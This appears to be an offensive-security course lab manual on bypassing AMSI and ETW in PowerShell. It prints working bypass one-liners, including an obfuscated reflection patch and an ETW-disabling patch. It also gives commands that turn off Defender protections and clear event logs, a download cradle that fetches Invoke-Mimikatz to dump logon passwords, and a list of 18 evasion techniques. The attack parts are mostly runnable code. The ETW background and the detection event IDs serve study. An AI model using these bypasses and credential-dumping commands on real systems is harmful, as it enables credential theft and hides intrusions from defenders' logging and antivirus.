• This will log any Powershell commands and script contents run in a Powershell console - using Event Viewer we can have a look for Event ID 800, 4103 and 4104. Open Event Viewer and go to Applications and Services Logs - MICROSOFT - POWERSHELL - OPERATIONAL.

Enable security privileges

If you can't open the powershell logs in eventviewer - run the control command below to enable security privileges for Powershell:

Open a command prompt with Administrator privileges and run the following command to enable security privileges for Powershell:

wevtutil sl Microsoft-Windows-PowerShell/Operational /ca:"O:SYG:SYD:(A;;0x1;;;SY)(A;;0x7;;;BA)"

1.2 ENABLE WINDOWS DEFENDER

On your Windows machines we made some exceptions in Windows Defender, anything in those folders won't be scanned by Defender. This is to make sure when we work with malicious shellcode or compile malicious files that they won't be immediately detected and removed:

[+] C:\Downloads -> to make it easier to download our tools without AV Detection
[+] C:\THEV -> our training course code and labs
[+] C:\Temp -> Used by GoCheck

• We can check some general Defender settings in Powershell:

Get-MpComputerStatus
Get-MpThreat
(Get-MpPreference).ExclusionPath

For this lab we will enable Microsoft Defender - in order to demonstrate how AMSI works, and how to bypass it.

• Check if Defender is turned ON by running the av_check.ps1 script on your Windows machine by opening a Powershell prompt with Administrator privileges:

C:\thev\labs\powershell\av_check.ps1

• The output will probably be like this, as we turned Defender off in the previous labs, but it doesn't hurt to check:

IMPORTANT: If Defender is not turned on, you can enable it by running the av_enable.ps1 script:

• On your Windows machine, open a Powershell prompt with Administrator privileges:

c:\thev\labs\powershell\av_enable.ps1

• The output should be like this:

For those interested - the script contains the following code:

Some Details on What This Script Does

Real-Time Protection

• Real-Time Protection: This is a feature of Microsoft Defender that continuously monitors your system for threats (e.g., malware, viruses) in real-time. It scans files, apps, and processes as they are accessed or executed. Setting DisableRealtimeMonitoring to $true turns off real-time protection, meaning files and processes are no longer automatically scanned.

• This does not disable Microsoft Defender entirely — it only disables real-time scanning. Other features like scheduled scans and manual scans will still work.

Set-MpPreference -DisableRealtimeMonitoring $true

Cloud-Delivered Protection

• The MAPSReporting setting controls the Microsoft Active Protection Service (MAPS), also referred to as Cloud-Delivered Protection. Setting it to Disabled stops your system from sending information about threats to Microsoft and prevents it from receiving cloud-based threat intelligence in real time.

Set-MpPreference -MAPSReporting Disable

Automatic Sample Submission

• SubmitSamplesConsent controls how Microsoft Defender submits samples of suspicious or potentially harmful files to Microsoft for analysis. These samples help improve Defender's detection and protection capabilities.

• NeverSend: This value tells Microsoft Defender to disable all sample submissions. No files will be sent to Microsoft for further analysis, even if they're flagged as suspicious.

Set-MpPreference -SubmitSamplesConsent NeverSend

Periodic Scanning

• The DisableScanningNetworkFiles setting in Microsoft Defender controls whether network files are scanned. When you set DisableScanningNetworkFiles to $true, it disables the scanning of files located on network drives

Set-MpPreference -DisableScanningNetworkFiles $true

• Before we start let's clear the Powershell and Defender event logs, so there's no noise from before in there. You can do this by opening a Powershell prompt and typing the following command:

wevtutil cl "Microsoft-Windows-Windows Defender/Operational"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

1.3 TESTING AMSI

• Now from the same Powershell terminal, let's see if AMSI detects a simply known malicious command such as "Invoke-Mimikatz" - which by the way is not present on disk:

Invoke-Mimikatz

• We'll see the script won't execute since AMSI intercepted it before executing and has sent it to Defender that scanned it and determined it as malicious:

• We can check this in Powershell with the following command:

Get-MpThreatDetection | Sort-Object InitialDetectionTime -Descending | Select-Object -First 1

• Let's have a look at the Windows Powershell Event logs - open ELEX (EventLog Explorer), select "Application and Services Logs", "Microsoft","Windows", "Powershell" and finally "Operational".

• We can also confirm it was AMSI that blocked this by having a look at the Windows Defender Event logs - open ELEX (EventLog Explorer), select "Application and Services Logs", "Microsoft","Windows", "Windows Defender" and finally "Operational".

What Triggers an AMSI Script Block Scan in Powershell?

AMSI Maintains a list of "dirty words" that are a hardcoded list of strings in Powershell's System.Management.Automation.dll, stored in the signatures field of the System.Management.Automation.ScriptBlock class. These are keywords or patterns (e.g., "Invoke-Expression", "WebClient") that Powershell considers potentially malicious, triggering AMSI to scan the script content.

Purpose: They act as a first-pass filter to identify suspicious script elements (e.g., commands, methods, or patterns common in malware) before AMSI sends the content to an antimalware provider like Windows Defender for deeper analysis.

Access: You can extract these using reflection in Powershell, [ScriptBlock].GetField('signatures', 'NonPublic, Static').GetValue($null).

Limitations: These are Powershell-specific heuristics, not the full set of AMSI signatures (e.g., Defender's cloud-based or local signatures in MpSvc.dll). They're a subset designed for script preprocessing, not comprehensive malware detection.

[ScriptBlock].GetField('signatures', 'NonPublic, Static').GetValue($null)

Key Insight: Powershell's AMSI integration (via System.Management.Automation.dll) scans all input (scripts, interactive commands, and dynamic code) by default, not just content containing the hardcoded "dirty words" in ScriptBlock.signatures (e.g., Invoke-Expression, WebClient).

How It Works: When you type Invoke-Mimikatz in a Powershell console, the command is processed as a ScriptBlock and sent to AMSI's AmsiScanString API for analysis, regardless of whether it matches a dirty word. The dirty words list is a supplementary filter to prioritize suspicious content, but AMSI scans everything to ensure comprehensive coverage.

Why This Happens: Microsoft designed AMSI to be proactive, passing all Powershell input to the antimalware provider (e.g., Windows Defender) for real-time scanning. Defender then checks the input against its extensive signature database, which includes specific patterns like Invoke-Mimikatz.

OK, so now what?

1.4 BYPASSING AMSI - HOW IT WORKS

• Let's clear the Powershell/Defender event logs again:

wevtutil cl "Microsoft-Windows-Windows Defender/Operational"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

Luckily there are a ton of AMSI bypasses publicly available:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

And there's even a convenient cloud-based AMSI generator called AMSI.fail:

https://amsi.fail/

And here's another one:

https://shaquibizhar.github.io/Amsi-bypass-generator/

In this lab we'll be using "Matt Graebers Reflection method", it's a simple one-liner which uses reflection to set the amsiInitFailed field to $true. Let's have a look how it works before we implement it.

"Matt Graebers Reflection method"

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Understanding the Technique

How it Works in Powershell:

1. Reflection: The core of this bypass relies on .NET reflection, which allows code to inspect and modify types, fields, and methods at runtime.
2. Targeting amsiInitFailed: The code specifically targets the amsiInitFailed static field within the System.Management.Automation.AmsiUtils class. This field is used to indicate whether the AntiMalware Scan Interface (AMSI) initialization has failed.
3. Setting to $true: By setting this field to $true, the code effectively tells the .NET runtime that AMSI initialization has failed, causing AMSI scans to be skipped.

1.5 BYPASSING AMSI

• Let's see if Matt Graeber's (very old) technique works...

• On your Windows machine, open a Powershell prompt and paste the following:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Dang! It didn't work! Obviously AMSI is scanning this script block before allowing it to execute - below is the YARA RULE (signature) from Defender responsible for this. We'll explain later what YARA is and how we got this rule (maybe).

• The yara rule can be found in "C:\THEV\Labs\AMSI\PsAttack.yara".

When we translate the UTF-16 string translated to ASCII we get these:

• The 2 strings marked in red match on our one-liner, but as you can also see these strings are pretty long, what happens if we simply make some changes to break the signature?

1.6 INVOKE-OBFUSCATION

• Install invoke-obfuscation from github:

cd c:\thev
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git

• In order to run InvokeObfuscation we need to turn Defender off again temporarily, so it doesn't block our one-liner.

IMPORTANT: Make sure Real-Time Protection is disabled - if this is not the case just run the following script, it will configure the right settings.

• On your Windows machine, open a PowerShell prompt with Administrator privileges:

C:\thev\labs\powershell\av_disable.ps1

• The output should be like this:

cd c:\thev\invoke-obfuscation
import-module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation -ScriptBlock { [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) } -Command 'TOKEN\STRING\1,TOKEN\STRING\2,TOKEN\MEMBER\1,TOKEN\VARIABLE\1'

This applies:

• String concatenation (STRING\1).

• String formatting with -f (STRING\2).

• Backtick insertion for methods (MEMBER\1).

• Variable name randomization (VARIABLE\1).

• The obfuscated output will be something like this:

• Let's turn Defender on again so we can test if we can bypass AMSI.

IMPORTANT: Make sure Real-Time Protection is enabled and the rest is disabled - if this is not the case just run the following script, it will configure the right settings.

• On your Windows machine, open a PowerShell prompt with Administrator privileges:

C:\thev\labs\powershell\av_enable.ps1

• The output should be like this:

• You can find the obfuscated AMSI Bypass script below in your C:\THEV\Labs\AMSI\ folder, but you can just execute it as oneliner as well.

AMSIBypass.ps1

• Let's see if we run the oneliner in a Powershell and see if Defender still detects it as malicious, and if we can now bypass AMSI.

• On your Windows machine, open a Powershell prompt with Administrator privileges:

AMSIBypassOneliner.ps1

[Ref].ASseMBly.gETTYPE(('S'+("{1}{0}{2}" -f 's','y','tem.M')+'a'+'nag'+'em'+("{0}{2}{3}{1}"-f'ent','ation.A','.Auto','m')+("{0}{1}" -f'ms','iU')+'ti'+'ls')).getFIeLd((("{0}{1}" -f'ams','iI')+("{0}{1}" -f 'ni','tFa')+("{1}{0}" -f'ed','il')),(("{0}{1}{2}" -f 'N','onPu','bl')+'ic'+','+("{0}{1}"-f 'Sta','tic'))).seTVAlUE(${NU`ll},${t`RUE})

• Defender didn't trigger, but did we bypass AMSI successfully? Let's test again with "invoke-mimikatz" - you'll now see an error that says that the term "invoke-mimikatz" is not recognized, which is normal as it's not locally on the disk, nor loaded into the memory of Powershell. This also means AMSI is not scanning any longer! Success!

invoke-mimikatz

• And yes Defender and AMSI are still on:

C:\thev\labs\powershell\av_check.ps1

• Finally let's do an ultimate test and run invoke-mimikatz in-memory by using IEX (Invoke Expression)

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

This concludes our AMSI bypass lab, we successfully bypassed AMSI in Powershell using a simple one-liner that we obfuscated using Invoke-Obfuscation.

CLEANUP

On your Windows machine:

• Close all command prompts, and PowerShell windows.

1.7 REFERENCE: POWERSHELL OBFUSCATION TECHNIQUES (INVOKE-OBFUSCATION)

List of PowerShell Obfuscation Techniques

Below are some common PowerShell obfuscation techniques that can be used to evade AMSI detection, along with examples and explanations of how they work. After each example, you can check the Defender logs to see if AMSI detected the obfuscated command.

1. Backtick (`) Character for Line Continuation

• Description: The backtick () is PowerShell's escape character, used to continue a command across multiple lines or escape special characters. In obfuscation, it breaks up strings or commands to make them harder to read or match against signatures (e.g., AMSI's detection of Invoke-Mimikatz`).
• Example:

  $cmd = "Invo`ke-Mi`mikatz"
  & $cmd
  

  • Explanation: The backtick splits Invoke-Mimikatz across lines, and concatenation reconstructs it. This can evade simple string matching by AMSI, though modern AMSI may still detect the final executed string.

2. String Concatenation

• Description: Combining multiple string fragments to form a command or keyword, avoiding direct use of sensitive terms (e.g., AmsiUtils). This breaks up detectable patterns and is often paired with other techniques like backticks.
• Example:

  $part1 = "Invo"
  $part2 = "ke-Mimi"
  $part3 = "katz"
  $command = $part1 + $part2 + $part3
  Invoke-Expression $command
  

  • Explanation: Concatenates Invoke-Mimikatz from fragments, executed via Invoke-Expression. AMSI may still detect the final script block if it reconstructs the string.

3. Base64 Encoding

• Description: Encodes a script or command as a Base64 string, which is decoded and executed at runtime using FromBase64String or PowerShell's -EncodedCommand parameter. This hides the script's content in a non-readable format.
• Example:

  $base64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Write-Output "Invoke-Mimikatz"'))
  $script = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64))
  Invoke-Expression $script
  

  • Explanation: Encodes Write-Output "Invoke-Mimikatz" as Base64, decodes, and executes it. AMSI may scan the decoded script block, so this alone may not bypass detection.

4. String Replacement

• Description: Replaces parts of a string with alternative characters or substrings at runtime to reconstruct a command, avoiding direct use of sensitive keywords.
• Example:

  $cmd = "Xnvokx-MxmXkXtz"
  $cmd = $cmd -replace 'X', 'i' -replace 'x', 'e' -replace 'X', 'a'
  Invoke-Expression $cmd
  

  • Explanation: Replaces placeholders to form Invoke-Mimikatz. This can evade static analysis, but AMSI may detect the final string after replacement.

5. Character Encoding (ASCII/Unicode)

• Description: Represents characters using their ASCII or Unicode values, constructing strings dynamically to avoid literal keywords.
• Example:

  $cmd = [char]73 + [char]110 + [char]118 + [char]111 + [char]107 + [char]101 + '-' + [char]77 + [char]105 + [char]109 + [char]105 + [char]107 + [char]97 + [char]116 + [char]122
  Invoke-Expression $cmd
  

  • Explanation: Uses ASCII values (e.g., 73 = I, 110 = n) to build Invoke-Mimikatz. This is harder to read but may still be detected by AMSI after execution.

6. Variable Name Obfuscation

• Description: Uses random, complex, or misleading variable names to obscure the script's purpose, making it harder for analysts to understand.
• Example:

  $x7a9pQ = "Invoke-Mimikatz"
  &$x7a9pQ
  

  • Explanation: Assigns Invoke-Mimikatz to a random variable name and executes it. This doesn't evade AMSI but complicates manual analysis.

7. Invoke-Expression (Dynamic Execution)

• Description: Uses Invoke-Expression (or aliases like iex) to execute dynamically constructed strings, hiding the final command until runtime.
• Example:

  $cmd = "Write" + "-Output 'Invoke-Mimikatz'"
  Invoke-Expression $cmd
  

  • Explanation: Builds and executes a command dynamically. AMSI scans the final script block, so this alone may not bypass detection.

8. Splatting

• Description: Uses a hashtable to pass parameters or commands, obscuring the command structure by breaking it into key-value pairs.
• Example:

  $splat = @{
      Cmdlet = "Write-Output"
      Argument = "Invoke-Mimikatz"
  }
  & $splat.Cmdlet $splat.Argument
  

  • Explanation: Executes Write-Output "Invoke-Mimikatz" via splatting. This obscures the command but doesn't prevent AMSI from scanning the final script block.

9. Format Operator (-f)

• Description: Uses the -f operator to format strings dynamically, constructing commands or keywords from placeholders.
• Example:

  $cmd = "{0}-{1}" -f "Invoke", "Mimikatz"
  Invoke-Expression $cmd
  

  • Explanation: Formats Invoke-Mimikatz using -f. AMSI may detect the final string after formatting.

10. Obfuscated String Splitting

• Description: Splits a string into substrings and reassembles it at runtime, often using arrays or random splits to avoid detection.
• Example:

  $parts = @("In", "vo", "ke-", "Mimi", "katz")
  $cmd = $parts -join ""
  Invoke-Expression $cmd
  

  • Explanation: Splits Invoke-Mimikatz into an array and joins it. This can evade static analysis, but AMSI scans the joined string.

11. XOR Encoding

• Description: Applies XOR operations to encode strings, decoding them at runtime with a key to reconstruct the original command.
• Example:

  $key = 0x42
  $encoded = [byte[]]@(0x2f, 0x38, 0x3f, 0x37, 0x2b, 0x65, 0x20, 0x29, 0x3c, 0x3c, 0x2b, 0x2a, 0x38, 0x3d)
  $decoded = $encoded | ForEach-Object { $_ -bxor $key }
  $cmd = [Text.Encoding]::ASCII.GetString($decoded)
  Invoke-Expression $cmd  # Decodes to "Invoke-Mimikatz"
  

  • Explanation: XOR-encodes Invoke-Mimikatz, decodes at runtime. This is harder to detect statically, but AMSI may scan the decoded string.

12. Environment Variable Substitution

• Description: Uses environment variables to store parts of a command, substituting them at runtime to build the script.
• Example:

  $env:PART1 = "Invoke"
  $env:PART2 = "Mimikatz"
  $cmd = "$env:PART1-$env:PART2"
  Invoke-Expression $cmd
  

  • Explanation: Stores Invoke and Mimikatz in environment variables. This spreads the command across system state, but AMSI scans the final script block.

13. Comment Injection

• Description: Inserts comments or irrelevant code to obscure the script's logic, making it harder to analyze manually.
• Example:

  # This is a harmless script
  $cmd = "Invoke-Mimikatz" # Just a test
  # Some unrelated comment
  &$cmd
  

  • Explanation: Adds comments to distract analysts. Doesn't evade AMSI but complicates human review.

14. Randomized Case (Mixed Case)

• Description: Uses mixed upper and lower case for commands or strings to avoid exact string matches.
• Example:

  $cmd = "iNvOkE-mImIkAtZ"
  Invoke-Expression $cmd
  

  • Explanation: Randomizes case for Invoke-Mimikatz. PowerShell is case-insensitive, so this executes, but AMSI normalizes case for detection.

15. Pipeline Obfuscation

• Description: Uses complex pipelines with ForEach-Object, Where-Object, or other cmdlets to obscure command construction.
• Example:

  $parts = @("Invoke", "Mimikatz")
  $cmd = $parts | ForEach-Object { $_ } | Join-String -Separator "-"
  Invoke-Expression $cmd
  

  • Explanation: Builds Invoke-Mimikatz through a pipeline. This adds complexity but doesn't prevent AMSI from scanning the final string.

16. Compressed Scripts

• Description: Compresses a script using System.IO.Compression (e.g., Deflate or GZip), decompressing and executing it at runtime.
• Example:

  $script = 'Write-Output "Invoke-Mimikatz"'
  $bytes = [Text.Encoding]::Unicode.GetBytes($script)
  $ms = New-Object IO.MemoryStream
  $cs = New-Object IO.Compression.DeflateStream($ms, [IO.Compression.CompressionMode]::Compress)
  $cs.Write($bytes, 0, $bytes.Length)
  $cs.Close()
  $compressed = $ms.ToArray()
  $ms.Close()
  # Decompress and execute
  $ms = New-Object IO.MemoryStream(,$compressed)
  $ds = New-Object IO.Compression.DeflateStream($ms, [IO.Compression.CompressionMode]::Decompress)
  $reader = New-Object IO.StreamReader($ds)
  $decompressed = $reader.ReadToEnd()
  Invoke-Expression $decompressed
  

  • Explanation: Compresses the script, decompresses, and executes. This hides the script statically, but AMSI scans the decompressed script block.

17. Reflection-Based Obfuscation

• Description: Uses .NET reflection to access and execute commands or types dynamically, avoiding direct cmdlet names.
• Example:

  $type = [Type]::GetType("System.Management.Automation.PowerShell")
  $ps = $type::Create()
  $cmd = "Invoke-Mimikatz"
  $ps.AddScript($cmd).Invoke()
  

  • Explanation: Uses reflection to invoke PowerShell commands. This is complex but still subject to AMSI scanning of the script block.

18. Whitespace Obfuscation

• Description: Adds excessive whitespace, tabs, or newlines to make the script harder to read without changing functionality.
• Example:

  $cmd      =      "Invoke-Mimikatz"
  &     $cmd
  

  • Explanation: Adds whitespace to obscure the script. Doesn't evade AMSI but complicates manual analysis.

ETW - EVENT TRACING FOR WINDOWS

TL;DR ETW basically is a kernel level debug logging mechanism in Windows - it allows to gather advanced telemetry about functions being called. Windows Event Logs contain a subset of ETW events. Typically used by application developers to debug programs, but has found its way as a telemetry source for EDR's.

Event Tracing for Windows (ETW) is a high speed tracing facility built into Windows. Using a buffering and logging mechanism implemented in the operating system kernel, ETW provides an infrastructure for events raised by both user mode (apps) and kernel mode components (drivers). ETW can be used for system and app diagnosis, troubleshooting, and performance monitoring.

1. ETW ARCHITECTURE

https://learn.microsoft.com/en-us/windows-hardware/test/weg/instrumenting-your-code-with-etw

Provider A provider is an instrumented component that generates events. A provider can be a user mode app, a kernel mode driver, or the Windows kernel itself. In addition to fixed event data (header), an event can carry user data.

An event is an event-based representation of data. The data can be used for in-depth analysis. An event can also be used to produce counters. Counters provide a sample-based view of data. They typically contain a small set of data to show current state, for example I/O bytes per second and interrupts per second.

A provider must register with ETW and send events by calling the ETW Logging APIs. Providers register a callback function for enable and disable notifications so that tracing can be enabled and disabled dynamically.

Session The ETW session infrastructure works as an intermediate broker that relays the events from one or more providers to the consumer. A session is a kernel object that collects events into kernel buffer and sends them to a specified file or real-time consumer process. Multiple providers can be mapped to a single session, which allows users to collect data from multiple sources.

Controller A controller starts, stops, or updates a trace session. A session is a unit for tracing. Providers are mapped (or enabled) to a specific session. A controller enables and disables providers so that they can start sending events to ETW. Controller functionalities can be invoked with tools provided by Microsoft or you can write your own app.

Logman.exe is an in-box controller app. Windows Performance Recorder (WPR) in the Windows Performance Toolkit is the recommended controller process.

Consumer A consumer is an app that reads a logged trace file (ETL file) or captures events in an active trace session in real time, and processes events. Event Viewer and Resource Monitor are in-box ETW consumer apps.

Windows Performance Analyzer (WPA) in the Windows Performance Toolkit is the recommended consumer process.

To see which ETW providers are running on the system

logman query -ets

But there are a lot more ETW providers available:

2. INTERESTING ETW PROVIDERS

USER MODE providers log very detailed information, scriptblock logging. Processes in user land will use ETWEventWrite and ... to write to the user mode ETW Provider (Microsoft-Windows-Powershell), the windows eventlog service subscribes to this ETW provider and writes the events to the event-log. This can be tampered with.

KERNEL MODE Providers have limitations on what they can log, they focus more on process creation, network connection, command line parameters (like SYSMON telemetry), but are harder to bypass.

• Microsoft-Windows-Kernel-Process
• Microsoft-Windows-DotNETRuntime
• Microsoft-Windows-Threat-Intelligence (only acessible to AV/EDR vendors...)
• Microsoft-Windows-Defender
• Microsoft-Windows-PowerShell
• Microsoft-Windows-Kernel-Audit-API-Calls

3. MICROSOFT-WINDOWS-THREAT-INTELLIGENCE ETW PROVIDER

KEY POINTS:

• Microsoft-Windows-Threat-Intelligence is a "Secure ETW Channel" provider, inaccessible to regular user-mode processes—even with elevated rights or running as SYSTEM. This specific provider is protected and designed for use only by trusted components in Windows security architecture.

• Only processes or services running with SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT/PS_PROTECTED_ANTIMALWARE_LIGHT protection level, and signed using the Microsoft Early Launch Anti Malware (ELAM) certificate, can subscribe to or receive data from this provider.

• This restriction is intentional and enforced by Windows to prevent tampering and unauthorized access to sensitive security event streams. The pipeline is typically accessible only to select, Microsoft-approved endpoint protection or antivirus solutions.

Attempts to set up ETW collection for this provider using regular tools (such as logman or third-party collectors) will fail with "Access is denied" or will produce empty traces due to the enforced provider access control

Microsoft Defender for Endpoint (MDE) does operate with the required Early Launch Antimalware (ELAM) driver and uses the Protected Antimalware Process (PPL/ELAM) mechanism—just like Microsoft Defender Antivirus (MsMpEng.exe).

Official Documentation and Requirements for Microsoft-Windows-Threat-Intelligence ETW Provider Access:

• ELAM is Required for MDE: Documentation for Microsoft Defender for Endpoint specifically notes that, for full functionality and onboarding, the Early Launch Antimalware (ELAM) driver must be enabled. This applies to all core supported Windows platforms.

• Protection Level: When Microsoft Defender Antivirus is present (the core engine leveraged by MDE for scanning, telemetry, and protection), it runs with ELAM protection (PS_PROTECTED_ANTIMALWARE_LIGHT/SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT) and uses the ELAM-signed WdBoot.sys driver, providing the elevated security context needed.

• Access to Sensitive ETW Providers: This protected status allows Microsoft's antimalware (Defender for Endpoint, via MsMpEng.exe and associated drivers/services) to subscribe to security-critical ETW sources (including Microsoft-Windows-Threat-Intelligence), which are inaccessible to standard administrators, SYSTEM, or non-ELAM third-party software.

• Onboarding and Policy: If Defender Antivirus is not the active antimalware (for example, third-party AV is present), the ELAM driver is still required—in "passive mode" — for MDE to function and report security and threat events. Disabling ELAM, or blocking Defender policies, will cause error states and block Defender for Endpoint telemetry.

• Conclusion: Microsoft Defender for Endpoint (MDE) runs components (notably MsMpEng.exe) at the required protected antimalware process level (PPL/ELAM) and with ELAM driver support. This ensures it can access protected event sources and kernel telemetry channels, which is foundational for its advanced endpoint detection and response features

Only other processes with at least the same or higher protection level and proper Microsoft-signed/ELAM-signed binaries can interact with it beyond basic operations. Even if malware or a user gets SYSTEM rights, they cannot inject into or tamper with this process unless they are running with the same trust/signature leve

The following command shows the telemetry of the Microsoft-Windows-Threat-Intelligence ETW provider:

wevtutil gp Microsoft-Windows-Threat-Intelligence

You can also query it with logman:

logman query providers Microsoft-Windows-Threat-Intelligence

So let's do a deep dive on what ETW can see in Powershell by using logman to collect events to PowerShellTrace.etl.

You can search the available ETW providers like this:

logman  query providers | select-string "powershell"

And get detailed information like this:

logman query providers Microsoft-Windows-PowerShell

We can set up an ETW tracing session (Don't do this now, we will do this in later labs) for the Powershell provider like this:

logman create trace PowerShellTrace -p Microsoft-Windows-PowerShell -o PowerShellTrace.etl -ets
logman -ets

This will create an event trace log (.etl file), which we can then convert to txt, csv or even evtx (windows event log format), any commands we run will be collected. In the same Powershell console you just ran the create trace command, run some Powershell commands:

$pid
get-process

IMPORTANT: After running our commands, stop the Powershell event trace session and remove it (otherwise this keep collecting logs, this will fill up your disk eventually as the trace session continues to run in the background and is very verbose):

logman stop PowerShellTrace -ets
Remove-EtwTraceSession -Name PowerShellTrace

• Real-Time Tracing: -ets enables the command to interact with an ETW session, which collects events in real time from the specified provider and writes them to the output file (e.g., .etl).
• Session Management: It ensures that the logman command is applied to an ETW session rather than other logman operations (e.g., performance counters or data collectors).
• Non-Persistent: By default, ETW sessions created with -ets are temporary and stop when the command is terminated or the system restarts, unless configured for persistence.

4. ETW PATCHING IN .NET BINARIES VS POWERSHELL

Powershell Patch:

• Uses reflection to modify the PSEtwLogProvider within the Powershell process.
• Specifically targets how Powershell logs events.
• Limited to the Powershell process.
• Executed as a Powershell command.
• Targets the Powershell ETW logging mechanism.

.NET Binary Patch (C# Example):

• Compiles into a standalone .NET executable.
• Uses reflection to directly modify the EventProvider class within the running .NET binary.
• Can patch ETW logging for any .NET application that uses the standard .NET EventProvider class, if the correct EventProvider instance can be located.
• Can affect any .NET application.
• Executed as a compiled executable.
• Targets the EventProvider class, allowing it to target any .NET application using that class.

Key Differences and Implications:

• Scope:
  • Powershell patch: Limited to the Powershell process.
  • .NET binary patch: Can affect any .NET application, if the correct event provider can be located.
• Execution Context:
  • Powershell patch: Executed as a Powershell command.
  • .NET binary patch: Executed as a compiled executable.
• Targeting:
  • Powershell patch: Targets the Powershell ETW logging.
  • .NET binary patch: Targets the event provider class, so it can target any .NET application that uses that class.

In summary: Later on when we're going to write our shellcode loader in C# we'll use a more general-purpose ETW patching mechanism that can be used independently of Powershell, while the Powershell one-liner is specific to the Powershell environment. For now it's just important to understand that both patches achieve similar goals (disabling ETW logging) but operate in different contexts and scopes.

1. LAB - POWERSHELL, BYPASSING AMSI AND ETW

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

1.1 TURN DEFENDER ON

For this lab we will enable Microsoft Defender - in order to demonstrate how AMSI works, and how to bypass it.

• Check if Defender is turned ON by running the checkav.ps1 script on your Windows machine by opening a PowerShell prompt with Administrator privileges:

C:\thev\labs\powershell\av_check.ps1

• The output should be like this:

IMPORTANT: Make sure Real-Time Protection is enabled and the rest is disabled - if this is not the case just run the following script, it will configure the right settings.

• On your Windows machine, from a PowerShell prompt with Administrator privileges:

C:\thev\labs\powershell\av_enable.ps1

• The output should be like this :

1.2 PREPARING OUR LAB ENVIRONMENT

IMPORTANT: Close your previous powershell windows as they have been patched in the previous lab - and AMSI won't trigger in this lab otherwise.

• Before we start let's clear the PowerShell event logs, so there's no noise from before in there. You can do this by opening a PowerShell console and typing the following command:

• On your Windows machine, open a PowerShell prompt with Administrator privileges:

wevtutil cl "Microsoft-Windows-PowerShell/Operational"

We're going to start with a brief AMSI repeater, so we properly understand how it works, and then we'll move on to patching ETW (Event Tracing for Windows) as well. Bypassing AMSI doesn't disable eventlogs - which are useful telemetry for EDR's, SIEM's and UEBA's.

• Now from the same Powershell terminal, run Mimikatz from memory with IEX (Invoke Expression)

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

We'll see the script won't execute since AMSI intercepted it before executing and has sent it to Defender that scanned it and determined it as malicious:

Let's have a look at the EventViewer logs - open EventViewer, select "Application and Services Logs", "Microsoft","Windows", "Powershell" and finally "Operational".

OK, so now what? Let's bypass AMSI!

• On your Windows machine, open a PowerShell prompt with Administrator privileges and run the obfuscated AMSI Bypass from the previous lab in the same PowerShell terminal:

[Ref].ASseMBly.gETTYPE(('S'+("{1}{0}{2}" -f 's','y','tem.M')+'a'+'nag'+'em'+("{0}{2}{3}{1}"-f'ent','ation.A','.Auto','m')+("{0}{1}" -f'ms','iU')+'ti'+'ls')).getFIeLd((("{0}{1}" -f'ams','iI')+("{0}{1}" -f 'ni','tFa')+("{1}{0}" -f'ed','il')),(("{0}{1}{2}" -f 'N','onPu','bl')+'ic'+','+("{0}{1}"-f 'Sta','tic'))).seTVAlUE(${NU`ll},${t`RUE})

Now let's try that Invoke-MimiKatz again, if all goes well, AMSI should be patched and the script will run:

• From the same Powershell terminal (with the applied AMSI patch), run MimiKatz from memory with IEX (Invoke Expression)

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

Success!!!

We now run into the fact that the powershell event logs are still being generated, and this is telemetry that EDR's, SIEM's and UEBA's use to detect malicious activity.

If you check the powershell logs with eventviewer again, you will see the AMSI bypass and the Invoke-Mimikatz commands logged.

• A very cool Forensics tool that can analyze PowerShell logs is PowerShell-Hunter (https://github.com/MHaggis/PowerShell-Hunter) - if we run this on our PowerShell logs it will also flag some suspicious commands.

• Ideally we don't want any of these logs to be generated and thus shutting off the telemetry for security solutions, we can do this by patching ETW (Event Tracing for Windows).

• Let's clear the PowerShell event logs again before we apply the ETW bypass (remember AMSI is already patched so this ETW bypass doesn't need to be obfuscated):

• On your Windows machine, open a PowerShell prompt with Administrator privileges:

wevtutil cl "Microsoft-Windows-PowerShell/Operational"

DETECTIONS Eventlog 800, 4103, 4104

1.3 BYPASSING ETW IN POWERSHELL

To disable ETW logging in the current PowerShell session, you can use the following PowerShell command. This command uses reflection to modify internal .NET fields that control ETW logging.

• On your Windows machine, open a new PowerShell prompt with Administrator privileges:

Below is a one-liner that disables ETW logging in the current PowerShell session:

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

This oneliner gets detected by AMSI, so either we patch AMSI first, or we obfuscate this command with Invoke-Obfuscation. It's probably a good idea to obfuscate it anyway (you can do this with Invoke-Obfuscation just like we did with AMSI before), since this is a well-known technique, and running the ETW patch first will disable the ETW logging for the AMSI patch as well, so we won't see any logs from that!

Let's break down what this command does:

